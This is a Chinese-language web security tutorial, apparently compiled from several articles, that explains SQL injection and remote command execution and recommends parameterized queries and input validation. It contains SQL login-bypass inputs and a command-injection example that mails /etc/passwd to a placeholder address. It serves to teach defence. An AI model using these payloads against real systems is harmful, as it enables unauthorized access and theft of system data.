相关知识:
当前 Web 应用正面临着日益严峻的安全挑战,根据 Gartner 的最新调查,信息安全攻击有 75% 都是发生在 Web 应用而非网络层面上。同时,数据也显示,三分之二的 Web 站点都相当脆弱,易受攻击。IBM Rational AppScan,作为先进的 Web 应用自动化诊断工具,能高效率发现应用中存在的安全隐患,协助企业制定 Web 应用安全解决方案,从根源上堵截 Web 应用的安全漏洞。
SQL注入攻击(SQL injection)
早在十几年前,基于数据库的Web应用刚刚盛行的时候,几乎所有的开发商都忽略了SQL注入弱点,导致当时绝大多数的网站的登录入口形同虚设!为什么呢?先给一个小小的例子,假如以下SQL代码是用来在网站登录入口入执行用户验证时的查询代码:
SELECT count(*)
FROM users_list_table
WHERE username='USERNAME'
AND password='PASSWORD'
以上的USERNAME就是我们登录时提供的用户名,PASSWORD就是我们登录时提供的密码。当用户输入正确的用户名和密码时,这条语句的执行结果将为真(True),否则为假(False),当然为真时我们就认为认证通过,为假时就认为认证失败,即非法登录。试想一下,如果我在输入用户名和密码的时候输入如下的内容:
用户名:a' or 'a'='a
密码:a' or 'a'='a
用代入法把用户名和密码输入值代入到上述的SQL脚本里结果如下:
SELECT count(*)
FROM users
WHERE username='a' or 'a'='a'
AND password='a' or 'a'='a'
相信稍懂一点儿SQL语句的人都知道,这条语句的执行结果就永远是真了!此时你不需要有帐号,就直接登录成功了!你对此漏洞理解的深度同样取决于你的对SQL语句的技能和web安全知识能力。一个具有良好技能的攻击者可能利用此漏洞获取后台DB的结构并逐步获取DB的信息。
总结一下:SQL注入弱点是存在基于数据库的Web应用中,黑客利用精心组织的SQL语句,通过Web接口(通常指我们的Web页面的表单)注入的Web应用中,从而获取后台DB的访问与存取权的一种安全弱点。
简要的解决方案:
刚刚介绍了XSS,在这里关于SQL Injection我想就无需多说了,都是过滤、合法性检查和长度限制等通用方法。
有没有注意到,XSS和SQL Injection,虽然名字不一样,但它们似乎都属于我前一篇文章《解读Web安全性问题的本质》中的第一部分,即输入/输出验证。下面将要介绍的远程命令执行、目录遍历和文件包含同样也是输入/输出验证问题。
远程命令执行(code execution)
先不解释它的概念,我们先假设这样一个用户使用场景:
有一个站点的管理入口功能非常强大,大到什么程度呢?可以重启Web服务器。你能想出来它是如何实现的吗?我们知道不管是PHP还是JSP,我们都可以在服务器通过Shell调用系统(Linux or Windows)命令,等命令执行后,将执行结果返回给客户端。其实我们通过Web Page的管理入口管理服务器端的各种服务就是通过类似这种渠道完成的。这里会有什么问题?比如我们要重启apache,假如系统是通过这个命令来完成的:/$path/./apche -restart。这里的$path是Web应用程序的基准路径(比如:apache上的documentroot),它的实现方式是这样的:通过用户浏览器客户端传送一个命令串,给Web server,web server通过调用shell来执行传过来的命令。试想,如果我通过浏览器客户端强行传送一个:restart, shutdown之类的命令给server,结果会是什么样子?这只是起一个小小的破坏作用,那如果我传送一个:mail abc@abc.abc </etc/passwd,执行结果是什么?结果是将linux系统的passwd文件(linux系统用户信息)发送到指定的邮箱abc@abc.abc。是不是很可怕呢?这就是远程命令执行漏洞的一个小小的典型例子。至于它的更深远的安全隐患在哪里还需要你有更多的相关基础知识才能够得以深入理解和运用(比如:Web server OS, Web Service-apache/weblogic/tomcat...相关的使用技能)。
总结一下:远程命令执行漏洞一般发生在Web系统允许用户通过Web应用接口访问与管理Web服务器且没有经过严格的输入验证与过滤的情况下的一种Web应用安全漏洞。
简要的解决方案:
1、严格限制运行Web服务的用户权限。就是说你的Web应用可以访问你的服务器系统的用户权限。一般情况一下,我们应该以白名单的形式介定Web应用可以访问服务器系统的权限。这样控制可以从系统级达到安全防范的效果。
2、严格执行用户输入的合法性检查。注意这里的输入不一定是你通过表单从键盘输入,往往是Web应用已经内定了某一些操作供您选择,而此时你可以通过Http抓包的方式获取Http请求信息包经改装后重新发送。详细理解这一部分,请关注我后续将来介绍的《Web工作原理》部分的Http协议原理。
2. 对注入攻击的手段
在网站的应用中需要应用到大量的数据库查询检索等功能,例如最简单的例子是网站登陆,用户需要输入登陆名称和密码进行登陆认证。在早期的开发中通常使用最为简单的 select 语句实现此功能,即 select * from users where username = “XXXX” and password = “XXXX”( 假设数据库 user 表名称为 users,用户名和密码字段名称为 username 和 password)。通过截取用户在文本框中录入的字符串,再进行拼接,形成 select 语句,最终如果表 users 中有符合此条件的记录(即该用户名和密码),系统将会返回有效记录,从而允许登陆系统中。
然而,此开发方法隐藏了一个巨大的漏洞,黑客可以通过 SQL 注入攻击攻入网站。如下图所示,黑客在登陆界面录入的不是用户名,而是一串字符串 (’or 1=1 --)。黑客的目的是在原本应该录入用户的地方录入了一串字符串,导致整个 select 语句发生了变化:select * from users where username=’’or 1=1。熟知 Select 语句的人知道,在条件语句中,无论用户名称是否正确,由于 1=1 永远是正确的,所以 select 将会将所有 users 表中的数据返回。最终的结果是,黑客登陆到这个系统中。通过 SQL 注入攻击,黑客可以轻松的敲入一些 sql 语句登陆进网站、对隐秘数据进行查询等等。
图 3. 攻击举例
通过上述原理描述我们可以看到,对于 SQL 注入攻击无论是防火墙还是入侵检测系统都无法预防和阻止,唯一的办法是将应用本身的漏洞关闭。例如通过参数的传递配合存贮过程来实现数据库查询,这比动态的构建 sql 语句安全很多。比如在 ASP.net 中通过下面的程序将会避免攻击:
' Visual Basic example
Dim DS As DataSet
Dim MyConnection As SqlConnection
Dim MyCommand As SqlDataAdapter
Dim SelectCommand As String = "select * from users where username = @username"
...
MyCommand.SelectCommand.Parameters.Add(New SqlParameter("@username",
SqlDbType.NVarChar, 20))
MyCommand.SelectCommand.Parameters("@username").Value = UserNameField.Value
// C# example
String selectCmd = "select * from Authors where state = @username";
SqlConnection myConnection = new SqlConnection("server=...");
SqlDataAdapter myCommand = new SqlDataAdapter(selectCmd, myConnection);
myCommand.SelectCommand.Parameters.Add(new SqlParameter("@username",
SqlDbType.NVarChar, 20));
myCommand.SelectCommand.Parameters["@username"].Value = UserNameField.Value;
除了注入缺陷攻击,常见的应用攻击还有跨网站脚本攻击、恶意文件执行攻击、不安全直接对象应用攻击、跨站点请求伪造攻击、信息泄漏以及利用错误处理机制展开攻击、等等。每种攻击都类似与 SQL 注入攻击,根据应用程序本身的漏洞,对系统进行破坏工作,例如:获取系统权限、获取机密信息、模拟合法用户等等。
综上所述,这些利用 Web 应用漏洞的攻击是 Web 安全最主要的威胁来源,75%的攻击来源于此,只有对应用程序本身进行改造才能避免攻击。然而,如何发现这些应用漏洞是保证安全的第一前提,我们如何以最快最有效的方式发现 Web 应用本身的漏洞呢?没有高效检测手段,安全的 Web 应用将成为水中花镜中月。